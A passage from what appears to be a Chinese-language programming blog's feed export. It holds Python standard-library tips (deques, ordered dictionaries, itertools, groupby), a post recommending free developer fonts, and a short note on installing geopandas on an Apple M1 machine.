<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; Q = collections.deque()<br>&gt;&gt;&gt; Q.append(<span class="hljs-number">1</span>)<br>&gt;&gt;&gt; Q.appendleft(<span class="hljs-number">2</span>)<br>&gt;&gt;&gt; Q.extend([<span class="hljs-number">3</span>, <span class="hljs-number">4</span>])<br>&gt;&gt;&gt; Q.extendleft([<span class="hljs-number">5</span>, <span class="hljs-number">6</span>])<br>&gt;&gt;&gt; Q<br>deque([<span class="hljs-number">6</span>, <span class="hljs-number">5</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>])<br>&gt;&gt;&gt; Q.pop()<br><span class="hljs-number">4</span><br>&gt;&gt;&gt; Q.popleft()<br><span class="hljs-number">6</span><br>&gt;&gt;&gt; Q<br>deque([<span class="hljs-number">5</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">3</span>])<br>&gt;&gt;&gt; Q.rotate(<span class="hljs-number">3</span>)<br>&gt;&gt;&gt; Q<br>deque([<span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">5</span>])<br>&gt;&gt;&gt; Q.rotate(<span class="hljs-number">-3</span>)<br>&gt;&gt;&gt; Q<br>deque([<span class="hljs-number">5</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">3</span>])<br></code></pre></td></tr></table></figure>
<ol start="21">
<li><strong>最大长度双端队列</strong><br>double-ended queue with maximum length</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; last_three = collections.deque(maxlen=<span class="hljs-number">3</span>)<br>&gt;&gt;&gt; <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">10</span>):<br>...     last_three.append(i)<br>...     print <span class="hljs-string">', '</span>.join(str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> last_three)<br>...<br><span class="hljs-number">0</span><br><span class="hljs-number">0</span>, <span class="hljs-number">1</span><br><span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span><br><span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span><br><span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span><br><span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span><br><span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span><br><span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span><br><span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span><br><span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span><br></code></pre></td></tr></table></figure>

<ol start="22">
<li><strong>有序字典</strong><br>ordered dictionaries </li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; m = dict((str(x), x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>))<br>&gt;&gt;&gt; print <span class="hljs-string">', '</span>.join(m.keys())<br><span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">2</span>, <span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">7</span>, <span class="hljs-number">6</span>, <span class="hljs-number">9</span>, <span class="hljs-number">8</span><br>&gt;&gt;&gt; m = collections.OrderedDict((str(x), x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>))<br>&gt;&gt;&gt; print <span class="hljs-string">', '</span>.join(m.keys())<br><span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span><br>&gt;&gt;&gt; m = collections.OrderedDict((str(x), x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-1</span>))<br>&gt;&gt;&gt; print <span class="hljs-string">', '</span>.join(m.keys())<br><span class="hljs-number">10</span>, <span class="hljs-number">9</span>, <span class="hljs-number">8</span>, <span class="hljs-number">7</span>, <span class="hljs-number">6</span>, <span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">3</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span><br></code></pre></td></tr></table></figure>

<ol start="23">
<li><p><strong>将对象映射到唯一的计数数字</strong><br>mapping objects to unique counting numbers</p>
<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby"><span class="hljs-meta">&gt;&gt;</span>&gt; import itertools, collections<br><span class="hljs-meta">&gt;&gt;</span>&gt; value_to_numeric_map = collections.defaultdict(itertools.count().next)<br><span class="hljs-meta">&gt;&gt;</span>&gt; value_to_numeric_map[<span class="hljs-string">'a'</span>]<br><span class="hljs-number">0</span><br><span class="hljs-meta">&gt;&gt;</span>&gt; value_to_numeric_map[<span class="hljs-string">'b'</span>]<br><span class="hljs-number">1</span><br><span class="hljs-meta">&gt;&gt;</span>&gt; value_to_numeric_map[<span class="hljs-string">'c'</span>]<br><span class="hljs-number">2</span><br><span class="hljs-meta">&gt;&gt;</span>&gt; value_to_numeric_map[<span class="hljs-string">'a'</span>]<br><span class="hljs-number">0</span><br><span class="hljs-meta">&gt;&gt;</span>&gt; value_to_numeric_map[<span class="hljs-string">'b'</span>]<br><span class="hljs-number">1</span><br></code></pre></td></tr></table></figure>
</li>
<li><p><strong>最大和最小元素</strong><br>largest and smallest elements(heapq.nlargest and heapq.nsmallest)</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; a = [random.randint(<span class="hljs-number">0</span>, <span class="hljs-number">100</span>) <span class="hljs-keyword">for</span> __ <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">100</span>)]<br>&gt;&gt;&gt; heapq.nsmallest(<span class="hljs-number">5</span>, a)<br>[<span class="hljs-number">3</span>, <span class="hljs-number">3</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">8</span>]<br>&gt;&gt;&gt; heapq.nlargest(<span class="hljs-number">5</span>, a)<br>[<span class="hljs-number">100</span>, <span class="hljs-number">100</span>, <span class="hljs-number">99</span>, <span class="hljs-number">98</span>, <span class="hljs-number">98</span>]<br></code></pre></td></tr></table></figure>
</li>
<li><p><strong>笛卡尔积</strong><br>cartesian products</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> itertools.product([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>], [<span class="hljs-number">4</span>, <span class="hljs-number">5</span>]):<br>(<span class="hljs-number">1</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">5</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">5</span>)<br>(<span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">3</span>, <span class="hljs-number">5</span>)<br>&gt;&gt;&gt; <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> itertools.product([<span class="hljs-number">0</span>, <span class="hljs-number">1</span>], repeat=<span class="hljs-number">4</span>):<br>...     print <span class="hljs-string">''</span>.join(str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> p)<br>...<br><span class="hljs-number">0000</span><br><span class="hljs-number">0001</span><br><span class="hljs-number">0010</span><br><span class="hljs-number">0011</span><br><span class="hljs-number">0100</span><br><span class="hljs-number">0101</span><br><span class="hljs-number">0110</span><br><span class="hljs-number">0111</span><br><span class="hljs-number">1000</span><br><span class="hljs-number">1001</span><br><span class="hljs-number">1010</span><br><span class="hljs-number">1011</span><br><span class="hljs-number">1100</span><br><span class="hljs-number">1101</span><br><span class="hljs-number">1110</span><br><span class="hljs-number">1111</span><br></code></pre></td></tr></table></figure>
</li>
<li><p><strong>组合和替换组合</strong><br>combinations and combinations with replacemnet</p>
</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> itertools.combinations([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>], <span class="hljs-number">3</span>):<br>...     print <span class="hljs-string">''</span>.join(str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> c)<br>...<br><span class="hljs-number">123</span><br><span class="hljs-number">124</span><br><span class="hljs-number">125</span><br><span class="hljs-number">134</span><br><span class="hljs-number">135</span><br><span class="hljs-number">145</span><br><span class="hljs-number">234</span><br><span class="hljs-number">235</span><br><span class="hljs-number">245</span><br><span class="hljs-number">345</span><br>&gt;&gt;&gt; <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> itertools.combinations_with_replacement([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>], <span class="hljs-number">2</span>):<br>...     print <span class="hljs-string">''</span>.join(str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> c)<br>...<br><span class="hljs-number">11</span><br><span class="hljs-number">12</span><br><span class="hljs-number">13</span><br><span class="hljs-number">22</span><br><span class="hljs-number">23</span><br><span class="hljs-number">33</span><br></code></pre></td></tr></table></figure>

<ol start="26">
<li><strong>排列交换</strong><br>Permurtations</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> itertools.permutations([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>]):<br>...     print <span class="hljs-string">''</span>.join(str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> p)<br>...<br><span class="hljs-number">1234</span><br><span class="hljs-number">1243</span><br><span class="hljs-number">1324</span><br><span class="hljs-number">1342</span><br><span class="hljs-number">1423</span><br><span class="hljs-number">1432</span><br><span class="hljs-number">2134</span><br><span class="hljs-number">2143</span><br><span class="hljs-number">2314</span><br><span class="hljs-number">2341</span><br><span class="hljs-number">2413</span><br><span class="hljs-number">2431</span><br><span class="hljs-number">3124</span><br><span class="hljs-number">3142</span><br><span class="hljs-number">3214</span><br><span class="hljs-number">3241</span><br><span class="hljs-number">3412</span><br><span class="hljs-number">3421</span><br><span class="hljs-number">4123</span><br><span class="hljs-number">4132</span><br><span class="hljs-number">4213</span><br><span class="hljs-number">4231</span><br><span class="hljs-number">4312</span><br><span class="hljs-number">4321</span><br></code></pre></td></tr></table></figure>

<ol start="27">
<li><strong>链式迭代</strong><br>chaining iterables <figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; a = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>]<br>&gt;&gt;&gt; <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> itertools.chain(itertools.combinations(a, <span class="hljs-number">2</span>), itertools.combinations(a, <span class="hljs-number">3</span>)):<br>...     print p<br>...<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">3</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">3</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>&gt;&gt;&gt; <span class="hljs-keyword">for</span> subset <span class="hljs-keyword">in</span> itertools.chain.from_iterable(itertools.combinations(a, n) <span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> range(len(a) + <span class="hljs-number">1</span>))<br>...     print subset<br>...<br>()<br>(<span class="hljs-number">1</span>,)<br>(<span class="hljs-number">2</span>,)<br>(<span class="hljs-number">3</span>,)<br>(<span class="hljs-number">4</span>,)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">3</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">3</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br></code></pre></td></tr></table></figure>


</li>
</ol>
<ol start="28">
<li><strong>按给定键进行分组</strong><br>grouping rows by a given key</li>
</ol>
<figure class="highlight yaml"><table><tr><td class="code"><pre><code class="hljs yaml"><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">from</span> <span class="hljs-string">operator</span> <span class="hljs-string">import</span> <span class="hljs-string">itemgetter</span><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">import</span> <span class="hljs-string">itertools</span><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">with</span> <span class="hljs-string">open('contactlenses.csv',</span> <span class="hljs-string">'r'</span><span class="hljs-string">)</span> <span class="hljs-attr">as infile:</span><br><span class="hljs-string">...</span>     <span class="hljs-string">data</span> <span class="hljs-string">=</span> <span class="hljs-string">[line.strip().split(',')</span> <span class="hljs-string">for</span> <span class="hljs-string">line</span> <span class="hljs-string">in</span> <span class="hljs-string">infile]</span><br><span class="hljs-string">...</span><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">data</span> <span class="hljs-string">=</span> <span class="hljs-string">data[1:]</span><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">def</span> <span class="hljs-string">print_data(rows):</span><br><span class="hljs-string">...</span>     <span class="hljs-string">print</span> <span class="hljs-string">'\n'</span><span class="hljs-string">.join('\t'.join('&#123;:</span> <span class="hljs-string">&lt;16&#125;'.format(s)</span> <span class="hljs-string">for</span> <span class="hljs-string">s</span> <span class="hljs-string">in</span> <span class="hljs-string">row)</span> <span class="hljs-string">for</span> <span class="hljs-string">row</span> <span class="hljs-string">in</span> <span class="hljs-string">rows)</span><br><span class="hljs-string">...</span><br><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">print_data(data)</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">none</span><br><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">data.sort(key=itemgetter(-1))</span><br><span class="hljs-string">&gt;&gt;&gt;</span> <span class="hljs-string">for</span> <span class="hljs-string">value,</span> <span class="hljs-string">group</span> <span class="hljs-string">in</span> <span class="hljs-string">itertools.groupby(data,</span> <span class="hljs-attr">lambda r:</span> <span class="hljs-string">r[-1]):</span><br><span class="hljs-string">...</span>     <span class="hljs-string">print</span> <span class="hljs-string">'-----------'</span><br><span class="hljs-string">...</span>     <span class="hljs-string">print</span> <span class="hljs-string">'Group: '</span> <span class="hljs-string">+</span> <span class="hljs-string">value</span><br><span class="hljs-string">...</span>     <span class="hljs-string">print_data(group)</span><br><span class="hljs-string">...</span><br><span class="hljs-string">-----------</span><br><span class="hljs-attr">Group:</span> <span class="hljs-string">hard</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">hard</span><br><span class="hljs-string">-----------</span><br><span class="hljs-attr">Group:</span> <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">myope</span>                   <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">reduced</span>                 <span class="hljs-string">none</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">yes</span>                     <span class="hljs-string">normal</span>                  <span class="hljs-string">none</span><br><span class="hljs-string">-----------</span><br><span class="hljs-attr">Group:</span> <span class="hljs-string">soft</span><br><span class="hljs-string">young</span>               <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">young</span>               <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">myope</span>                   <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">pre-presbyopic</span>      <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br><span class="hljs-string">presbyopic</span>          <span class="hljs-string">hypermetrope</span>            <span class="hljs-literal">no</span>                      <span class="hljs-string">normal</span>                  <span class="hljs-string">soft</span><br></code></pre></td></tr></table></figure>

<ol start="29">
<li><strong>在任意目录中启动http服务器</strong></li>
</ol>
<p>start a static http server in any directory</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">python -m SimpleHTTPServer <span class="hljs-number">5000</span><br></code></pre></td></tr></table></figure>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>编程代码字体</title>
    <url>/2020/02/28/fonts-for-developers/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200228/l6USNNVGsDE8.gif" alt="mark"></p>
<p>说到字体，之前看过西蒙·加菲尔德的《字体故事》非常不错的一本书，没有看过可以看看👉<a class="link"   href="https://yadi.sk/d/8osZAIkuBnQyZQ"  target="_blank" rel="noopener">字体故事<i class="fas fa-external-link-alt"></i></a>。字体真的是非常重要的基础设施。但凡是能够接触到信息除了口口相传，就一定能接触到字体。</p>
<a id="more"></a>

<p>最近不少大公司开始放出免费的为编程人员使用的字体，感谢。</p>
<ol>
<li>MS家专为新的终端程序设计的Cascadia Code.</li>
<li>美国政府在U.S. Web Design System设计的Public Sans</li>
<li>IBM为灵感设计的 IBM Plex</li>
<li>Highway Gothic 为灵感设计的Overpass Font</li>
<li>Jet Brains设计的Monospaced Font</li>
</ol>
<p>以上字体都可以免费使用，不用担心版权问题。</p>
<ol>
<li><p>MS Cascadia Code</p>
<p>This is a fun, new monospaced font that includes programming ligatures and is designed to enhance the modern look and feel of the Windows Terminal.</p>
<p><img src="https://github.com/microsoft/cascadia-code/raw/master/images/cascadia-code-characters.png" alt="MS Cascadia Code"></p>
<p>Download👉<a class="link"   href="https://github.com/microsoft/cascadia-code/releases"  target="_blank" rel="noopener">link<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li><p>美国政府公布的原始码字形，修改自经典英文字体LibreFranklin Font的开源版本，比原有字体更清晰，对屏幕阅读有更好的易读性。</p>
<p>Public Sans 提供各种字型厚度，font-weight 从100-900，包含italic，无论是标题还是内文都有非常好的表现。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200228/F4PRCcXh26Vu.jpg?imageslim" alt="mark"></p>
<p>download👉<a class="link"   href="https://github.com/uswds/public-sans/releases"  target="_blank" rel="noopener">link<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li><p>IBM Plex</p>
<p>IBM Plex Family 由三大字体类型组成，Sans-serif，Serif和Mono，除了提供8中字重外，IBM Plex也提供了网页使用的eot woff, woff2格式</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200228/LfazgCU1Ni17.jpg?imageslim" alt="mark"></p>
<p>官网👉<a class="link"   href="https://www.ibm.com/plex/"  target="_blank" rel="noopener">link<i class="fas fa-external-link-alt"></i></a></p>
<p>Download 👉<a class="link"   href="https://github.com/IBM/plex/releases"  target="_blank" rel="noopener">link<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li><p>Overpass Font</p>
<p>Overpass设计灵感来自联邦高速公路字体，美国、加拿大、土耳其、澳大利亚、荷兰、中国都是使用联邦高速公路字体，不过现在部分地区已经使用Clearview替代。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200228/z2prJYYF9xwP.gif" alt="mark"></p>
<p><a class="link"   href="http://overpassfont.org/"  target="_blank" rel="noopener">官网地址<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li><p>Monospaced Font</p>
<p>JetBrains Mono 比一般的等宽字体来说<strong>增加了字体高度以提升阅读体验，更適合做变成代码使用</strong>，除了节省空间，也减少眼睛处理的时间。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200228/GuEXUSUOG6Y9.jpg?imageslim" alt="mark"></p>
<p>官网地址 👉<a class="link"   href="https://www.jetbrains.com/lp/mono/"  target="_blank" rel="noopener">link<i class="fas fa-external-link-alt"></i></a></p>
</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>M1 Chip install geopandas</title>
    <url>/2021/12/21/geopandas/</url>
    <content><![CDATA[<p>帮一个学生处理一个dash页面，要求用到geopandas，但是我直接使用<code>pip install geopandas</code>是无法直接安装的，搜了一下geopandas的github有好多人遇到和我相同的问题。<br>最终解决方案<br><code>pip install git+git://github.com/geopandas/geopandas.git</code><br>再使用conda安装包<br><code>conda install pandas fiona shapely pyproj rtree</code></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
